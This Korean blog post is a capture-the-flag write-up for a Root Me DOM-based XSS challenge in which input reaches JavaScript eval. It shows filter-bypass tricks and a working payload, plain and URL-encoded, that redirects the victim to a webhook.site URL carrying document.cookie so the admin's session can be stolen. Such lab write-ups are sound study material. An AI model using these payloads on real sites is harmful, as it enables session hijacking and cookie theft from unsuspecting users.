Problem
How-to-solve
XSS DOM Based - Introduction과 비슷한 환경을 확인 할 수 있다.
우선 아무 값이나 집어 넣은 후 코드를 확인해보겠다.
숫자로 구성된 계산식을 사용해야 한다는 것을 알 수 있다.
그러면 계산식을 사용한 후 소스를 다시 보도록 하겠다.
아래에 계산식이 완성되어 축력되는 것을 확인할 수 있다.
그러면 소스코드를 확인해보도록 하겠다.
소스코드를 확인해보면 eval함수 안에 입력값이 삽입되고 그 값은 result로 할당되는 것을 확인할 수 있다.
아래에 document에서 계산식의 결과를 result함수로 출력하는 것을 확인할 수 있다.
그러면 여기에서 스크립트를 실행시킬 수 있는지 확인을 해봐야 한다.
1+2+<script>alert(1)</script>
기본script를 사용했는데 ()가 필터링되고 있는 것을 확인할 수 있다.
이런 경우 `(백쿼터)를 사용해서 ()를 대체할 수 있기 때문에 사용해서 시도해보도록 하겠다.
1+2+<script>alert`1`</script>
위의 스크립트를 사용해서 시도하였으나 <>가 필터링되어 삭제된 것을 확인할 수 있다.
여기에서 eval내에 코드를 삽입할 때 위의 코드에서 script가 삽입되었기 때문에 다시 삽입할 필요가 없음을 알 수 있다.
이런경우 alert`1`만을 사용해서 시도해보도록 하겠다.
1+2+alert`1`
위의 코드가 실행되어 경고창이 발생하는 것을 확인할 수 있다.
다만 포인트는 발견하였으나 admin이 접근하였을 경우 어떻게 cookie값을 전송하도록 할지는 많이 어려웠다.
소스코드를 확인해보면 `(백쿼터)를 통해 escape되고 result값이 출력되면서 실행되는 것을 확인할 수 있다.
(여기에서 엄청나게 삽질을 했다.)
1+2+alert`document.cookie`
위의 코드를 삽입했을 경우 발생하는 경고창이다.
cookie값이 획득되는 것이 아닌 문자열로 인식하여 출력되는 것을 확인할 수 있다.
해당 경우 쿠키값을 출력하는 방법에 긴 시간을 쏟았다.
1+2+document.write`${document.cookie}`
해당 명령어를 통에 result가 출력되면 HTML 내에 cookie값이 출력되는 것을 확인할 수 있었다.
(여기에서 시행착오가 괸장히 많았다.)
HTML에 출력된것을 보고 스크립트를 넣어 많은 시도를 하였다.
1+2-location.replace` https://webhook.site/d9347196-48f1-4bd8-b2a0-44e1c3afade1/?flag=.concat {document.body.innerHTML}`
위와 같은 script를 삽입하여 시도하였으나 실행되지 않거나 ,만 출력되어 cookie값이 전달되지 않았다.
그러던 중 eval에서는 ,를 통해 명령어를 다중으로 삽입이 가능함을 알았다.
1+2,location.replace`https://webhook.site/d9347196-48f1-4bd8-b2a0-44e1c3afade1/?flag=`,document.write`${document.cookie}`
위와 같은 스크립트를 활용해서 삽입을 시도하였다.
하지만 뒤에 쿠키값을 출력하도록 삽입하였으나 출력이 되지 않았다.
webhook에 전달된 값을 확인해봐도 cookie가 전달되지 않는 것을 확인할 수 있다.
매개변수를 실행시킬 수 있는 방법을 찾아야했다.
browser console에서 실행했을 경우 cookie값이 전달되는 방법을 찾았다.
eval(3+3,rokefoke=`https://webhook.site/d9347196-48f1-4bd8-b2a0-44e1c3afade1/?flag=`+document.cookie,location.href=rokefoke)
정말 순간 몸이 짜릿했다.
위의 코드에서 변수(rokefoke)로 지정해서 location이 될 URL과 cookie값을 print할 수 있도록 뒤에 삽입하여 준다.
그럼 rokefoke의 변수에는 https://webhook.site/d9347196-48f1-4bd8-b2a0-44e1c3afade1/?flag= `+document.cookie가 할당되는데 이 때 해당 URL을 실행하기 위해 script를 사용하면 eval내에서 한 공간에 두개의 함수가 삽입되므로 실행이 되지 않았다.
다만 변수로 지정해서 location으로 직접 할당하면 document.cookie가 탈취가 가능했다.
그러면 시도해보겠다.
이 페이지가 잠시 나오는 것을 확인할 수 있다.
다만 result값을 보면 3만 출력되고 뒤의 값은 출력되지 않은 것을 확인할 수 있다.
이후 위의 화면으로 Redirect되며 flag변수에 cookie값이 작성되는 것을 확인할 수 있다.
그러면 admin에게 보내보도록하자.
http://challenge01.root-me.org/web-client/ch34/index.php?calculation=3+3,rokefoke=`https://webhook.site/d9347196-48f1-4bd8-b2a0-44e1c3afade1/?flag=`+document.cookie,location.href=rokefoke
위의 코드를 삽입하여 전달하였다.
하지만 한참이 지나도 admin의 cookie값은 오지 않았다.
생각을 하다가 main에서 직접 URL에 삽입을 시도해보았다.
http://challenge01.root-me.org/web-client/ch34/index.php?calculation=3+3,rokefoke=`https://webhook.site/d9347196-48f1-4bd8-b2a0-44e1c3afade1/?flag=`+document.cookie,location.href=rokefoke
URL에 위와같이 삽입하였으나 실행이 되지 않았다.
이 때 URL에 삽입하여 실행이 되기위해서 URL인코딩을 해야함을 알게되었다.
해당 script를 URL인코딩한 후 calculate에 삽입하여 공격을 시도하였다.
http://challenge01.root-me.org/web-client/ch34/index.php?calculation=%33%2b%33%2c%72%6f%6b%65%66%6f%6b%65%3d%60%68%74%74%70%73%3a%2f%2f%77%65%62%68%6f%6f%6b%2e%73%69%74%65%2f%64%39%33%34%37%31%39%36%2d%34%38%66%31%2d%34%62%64%38%2d%62%32%61%30%2d%34%34%65%31%63%33%61%66%61%64%65%31%2f%3f%66%6c%61%67%3d%60%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%2c%6c%6f%63%61%74%69%6f%6e%2e%68%72%65%66%3d%72%6f%6b%65%66%6f%6b%65
정상적으로 삽입된 것을 확인할 수 있었다.
그러면 이제 webhook으로 쿠키값이 오기를 기다려보겠다.
중요하게 알게 된 것!
1) eval 내 +와 -를 확용하여 간단한 script삽입이 가능하다.
2) eval은 location.href를 통한 redirect도 가능하지만 location.replace``를 통한 redirect가능하다.
3) location.replace는 함수 두개를 한번에 사용하기는 어렵다.
4) eval 함수 내 ,(쉼표)를 통해 분리하여 여러개의 명령어 삽입이 가능하다.
5) 변수를 지정하여 함수 삽입 시 간접 호출이 가능하다.
요즘 풀었던 문제 중 가장 재밌었다ㅋㅋ
끝!
'Wargame > root me' 카테고리의 다른 글
[Web - Client] XSS DOM Based - AngularJS (0) | 2023.04.07 |
---|---|
[Web - Client] XSS DOM Based - Introduction (0) | 2023.04.06 |
[Web - Client] CSRF - 0 protection (0) | 2023.04.05 |
[Web-Client] CSP Bypass - Inline code (0) | 2023.04.04 |
[Web - Clinet] XSS - Stored 1 (0) | 2023.04.03 |